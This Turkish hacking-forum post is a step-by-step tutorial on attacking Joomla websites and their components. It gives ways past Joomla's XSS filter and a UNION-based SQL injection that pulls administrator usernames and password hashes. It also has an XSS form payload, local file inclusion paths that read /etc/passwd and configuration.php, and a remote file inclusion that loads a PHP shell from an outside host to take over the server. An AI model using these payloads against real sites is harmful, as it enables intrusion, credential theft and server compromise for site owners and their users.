Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Joomla Açıkları (ayrıntılı)
#1
[~] Giriş
[~] Joomla Nedir? Ne İşe Yarar?
[~] Joomla’nın Yapıtaşları
[~] Joomla Temel Güvenliği
[~] Joomla Eklentileri
[~] Basic Joomla Hacking
[~] Joomla SQL Injection
[~] Joomla XSS/CSRF
[~] Joomla LFI
[~] Joomla RFI
[~] OWASP Joomscan And Nikto
[Bölüm - 1] Giriş
Bu döküman Bug Researchers | kAsvææ tarafından CW üyeleri için yazılmıştır.
Joomla kullanan arkadaşlarımıza joomla güvenliği hakkında bilgi vermek ve
kullanmayan arkadaşlarımızı ise bilinçlendirmek dökümanın esas hedefidir.
Dökümanda kullanılan kodlar çeşitli joomla sitelerinden edinilmiş olup
sadece misyon dahilinde kullanılmalısını diliyorum.
[Bölüm - 2] Joomla Nedir? Ne İşe Yarar?
Joomla açık kaynak kodlu bir içerik yönetim sistemi (content management system)dir.
Bu içerik kısmı: basit metin, resimler, müzik, video, belgeler ya da düşündüğünüz
herhangi birşey olabilir.
Dolayısıyla joomla zengin bir içeriğe sahip bir portal sistemidir.
Peki joomlayı Mambo, Joomla, Moddle, PHPNuke, Xoops, PHP-Fusion, vBulletin gibi
diğer hazır portal sistemlerinden ayıran avantajı nedir?
Tabiki pek fazla deneyim gerektirmemesi.Bun joomla’cı arkadaşlar kızabilir ama öyle exciting
Deneyim gerektirmemesi avantaj gibi gözüksede joomla güvenliği için en büyük dez avantajdır.
[Bölüm - 3] Joomla’nın Yapıtaşları

Joomla temel olarak 3 unsurdan oluşmaktadır:
1. Component 2. Modül 3. Plugin

[#] Component :
Joomla uygulamasının kullanıcıları ilgilendiren kısmıdır.Örneğin: forumlar , yorum kutuları,
dosya yönetimi , profil ayrıntıları i galeriler....
Birçok joomla açığı componentler unsurunda meydan gelmektedir.
[#] Modül :
Joomla uygulamasının kullanıcıyı ilgilendirmeyen site sayacı , son gönderilenler , online
üyeler gibi kısımlarıdır...
Joomla modüllerinde exploit edilebilecek açıklar bulunmamaktadır.
[#] Plugin :
Mambot olarak da bilinen bu unsur sitenin işleyişiyle ilgili küçük programcıklardır.
Örneğin joomla yazılarında embed PHP kodlarının kullanılması gibi....
[Bölüm - 4] Joomla Temel Güvenliği

Joomla’yı indirdiğiniz zaman temel çekirdeğinde hiçbir açık bulmazsınız.
Yani açıklar sonradan yüklediğiniz eklentilerde meydana gelmektedir.
Şimdi joomlanın input filtresinde bazı satırlara göz atalım:
"/phpinputfilter/inputfilter.php"
var $tagBlacklist = array (’applet’, ’bOdy’, ’bgsound’ ....
Yukarda XSS filtresinde "bOdy" yasaklı ancak "bOdy" olarak kullanırsak engeli aşabiliyoruz.
$tagOpen_start = strpos($source, ’<’);
while ($tagOpen_start !== false)

Yukarda ise "<" ile başlayan sorgunuz engellenmekte.
Bu engeli ise sorgunuzu ">< ile başlatarak aşabiliyoruz.
Bütün bu anlatılanlardan sonra artık joomla açıklarının componenntlerde meydana geldiğini,
Joomla çekirdeğinde hiçbir açık bulunmadığını , açıkların eklentilerle meydana geldiğini,
anlamış bulunuyoruz.
Şimdi eklentilere geçelim exciting
[Bölüm - 5] Joomla Eklentileri

Joomla eklentilerini herhangi bir joomla desteği veren web sitesinden edinebilirsiniz.
[#] siteniz.com/administrator
Yetkisi ile eklentiyi kuruyoruz.Kurulum tamamlandıktan sonra menü kısmında bazı komponentlerin
yüklendiğini görürsünüz.
Yüklediğiniz eklentiye göre aşağıdaki gibi bir url göreceksiniz:
siteniz.com/index.php?option=com_cw&item=1&itemid=2
Bu url birçok input barındırmakta:
index.php?option= //Komponentleri çağırır
com_cw //Çağırılan komponent
&item=1
&itemid=2
Yukardaki parametreler joomla siteyi ziyaret ettiğinizde ençok karşılaştığınız parametrelerdir.
Bunlara ilaveten aşağıdaki parametrelere de çok fazla rastlanılır.

- format
- link_id
- view
- controller
- layout
- category
- cat
- visit
- page
Bu parametreler’i bulmak, sorgu göndermek için yapacağımız ilk iştir.

[Bölüm - 6] Basic Joomla Hacking

Joomla açıkları için yapacağınız ilk iş localhostunuza joomla kurarak test yapmak olmalıdır.
Bu size deneyim kazandıracaktır.Deneyim kazandıktan sonra artık bir joomla sitesi üzerinde:
- Input alanları
- Eklenti parametreleri
- Hidden type inputları
- PhpMyadmin
- Kullanılan Joomla Teması gibi unsurları bulmanız gerekmektedir.

Şimdi bazılarınız soracaksınız : "Joomla sitede kullanılan temayı bulupda ne yapacağım?"

Joomla da ataklardan korunmak için web site sahipleri genelde SEO ve SEF gibi teknikler kullanırlar.
Her ne teknik kullanırlarsa kullansınlar inputlar herzaman vardır.
Örneğin hiiden type bir input’u kaynak kodlarından görebiliriz.
----------------------------------------------------------
<input type="hidden" name="option" value="com_cw" />
<input type="hidden" name="ItemId" value="1" />
<input type="hidden" name="Item" value="2" />
<input type="hidden" name="Category" value="1" />
----------------------------------------------------------
Temel bilgilerde size input alanlarını ve zaafiyet noktalarını anlattım.
Bütün bu temel bilgileri verdikten sonra artık yavaş yavaş atak tiplerine geçelim.

[Bölüm - 7] Joomla SQL Injection

Joomla’da eklentileri kurduğunuz zaman :
index.php?option=com_cw&category=1&Item=2
gibi Url’ler muhtemel açıkların meydana geldiği alanlardır.
En sık olarak:
- id cat, category, categories , katid
- item , entry , page
bu parametrelerde meydana gelmektedir.
Peki injection testini nasıl yapacağız?
category=1 parametresinde 1 değeri yerine üsttırnak(’) koyduğumuz zaman
Mysql hatası alıyorsak SQL Injection açığı mevuttur.
Bunu daha iyi anlamanız için örneklere geçelim:
URL: /index.php?option=com_content&task=blogcategory&id=60&Itemid=99999
Vulnerable Parametre : "Itemid"
URL: /index.php?option=com_mailto&tmpl=mailto&article=5
Vulnerable Parametre : "article"
Parametrelerin nasıl bulunacağını ve Injection testini nasıl yapacağımızı öğrendik.
Exploit etmeye başlamadan önce:
# Joomla Admin tipi : Super Administrator
# Tablomuz : jos_users
# Tablo kolonları : username , password
Bilgileri bilmemiz ve extra olarak mysql injection bilgimizin olması gerekmektedir.
Kolon ve tablo adları ile admin tipini biliyoruz.
Şimdi exploit edelim:
Kolon Sayısı :
/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e),3
Veriyi Çekekim :
/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password,0x1e),3+FROM+jos_users
+where+usertype=0x53757065722041646d696e6973747261746f72--
Çektiğimiz veride password’un joomla salt md5 ile kriptolanmış olduğunu görürsünüz.
Bunları kırması çok kolay değildir.
Bu yüzden XSS açıkları bana göre SQL Injection açıklarından daha önemlidir.

[Bölüm - 8] Joomla XSS/CSRF

Joomla’ da XSS/CSRF açıkları daha çok formlar,ziyaretçi defterleri,yorum kutularında
meydana gelmektedir.
Bunun dışında Hidden type formlar da da sıkılıkla oluşmaktadır.
Joomla da kaynak kodlarında formlara baktığımız zaman:
<input type="text" name="search" value="" />
Yukardaki input değerine js/html/vbs gibi kodlar girebiliriz.
Kurban kaynak kodlarını göremeyeceği için zararlı kodumuzuda göremeyecektir.

FORM : <input type="text" name="search" value="" />
EXPLOIT : <input type="text" name="search" value=""><script>alert("L3on4Ns")</script>" />
Exploit ettiğimiz form bize "L3on4Ns" uyarısını verecektir.
Aşağıda reel örneleri inceleyebiliriniz:
Example : /components/com_users/ XSS Vulnerability
Example : /components/com_weblinks/ XSS Vulnerability
[Bölüm - 9] Joomla Local File Inclusion

LFI dediğimiz zaman hemen aklınıza linux serverde "etc/passwd" geldiğini bilmiyor değilim.

URL : /index.php?option=com_projectfork&section=
EXPLOIT : /index.php?option=com_projectfork&section=../../../../etc/passwd%00
Joomlada LFI açıklarında çoğu kez php kaynak kodlarınıda okuyabilmekteyiz.
Bunun için aşağıdaki yöntem çok etkili olan bir yöntemdir.

EXPLOIT : /index.php?option=com_projectfork&section=../../../configuration.php
Bunu exploit ettikten sonra dökümanın başında temel ataklar için gerekli olan PhpMyadmin
uygulamasını bulmanız gerekmektedir.
Exploit ederek elde ettiğiniz bilgiler ile databaseye erişim hakkına sahip olabilirsiniz.
[color=#FF4500 ] [Bölüm - 10] Joomla Remote File Inclusion [/color]

Joomla RFI açıkları bize uzak serverden dosya dahil etmemizi sağlamaktadır.
RFI açığı bulduğumuz zaman PHP Shellimizi dahil ederek serverde yetki alabiliriz.
URL : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=
EXPLOIT : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://cw.com/shell.txt?
Exploit ettikten sonra dosyaları görünteleyebilir,indirebilir,değiştirebiliriz.
[color=#FF4500 [Bölüm - 11] OWASP Joomscan And Nikto [/color]
Owasp geliştiricileri joomla eklentilerinde var olan açıkları otomatik tarayan bir tool
geliştirdirler.
Perl dilinde yazılan bu toolda yaklaşık 500 adet plugini vardır.
Şuan bu tool güncelleştirilmese bile açık tarayıcı olarak faydalı bir tooldur.
Kullanımı : perl joomscan.pl -h
Bu konuda diğer bir tool ise benim favorim niktodur.
Yine Perl dilinde yazılmış bir tooldur.
Yaklaşım 3.500 plugini vardır.Günceleştirmeler mevcuttur.
Nikto ile de joomla sitenizi tarayabilirsiniz.
Kullanımı : perl nikto.pl -h

Joomla Scan: http://sourceforge.net/projects/joomscan/

Nikto: http://cirt.net/nikto2



Alıntı Yerler Bulunmakda

SAygılarımla : L3oN4Ns
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Joomla Sistemlere Shell Yükleme Resimli Kısa Anlatım KingSkrupellos 3 80 21-11-2016, Saat: 00:14
Son Yorum: zheeshorn
  Joomla WP BruteForce BatchGuru v1.0 Perl Stallk3r 16 519 05-09-2016, Saat: 00:44
Son Yorum: tartiks
  XSS Açıkları Hakkında Dark-Capar 3 91 14-08-2016, Saat: 22:42
Son Yorum: Dark-Capar
  Serverdeki joomla siteleri ayırma ve brute force archavin 40 3,222 27-07-2016, Saat: 14:53
Son Yorum: MuratAlpTR
  Joomla Sitelere Shell Atma Ayrıntılı Resimli Anlatım KingSkrupellos 1 167 03-07-2016, Saat: 03:57
Son Yorum: BYHAKLİRT
Anahtar Kelimeler

Joomla Açıkları (ayrıntılı) indir, Joomla Açıkları (ayrıntılı) Videosu, Joomla Açıkları (ayrıntılı) Online izle, Joomla Açıkları (ayrıntılı) Bedava indir, Joomla Açıkları (ayrıntılı) Yükle, Joomla Açıkları (ayrıntılı) Hakkında, Joomla Açıkları (ayrıntılı) Nedir, Joomla Açıkları (ayrıntılı) Free indir, Joomla Açıkları (ayrıntılı) Oyunu, Joomla Açıkları (ayrıntılı) Download


1 Ziyaretçi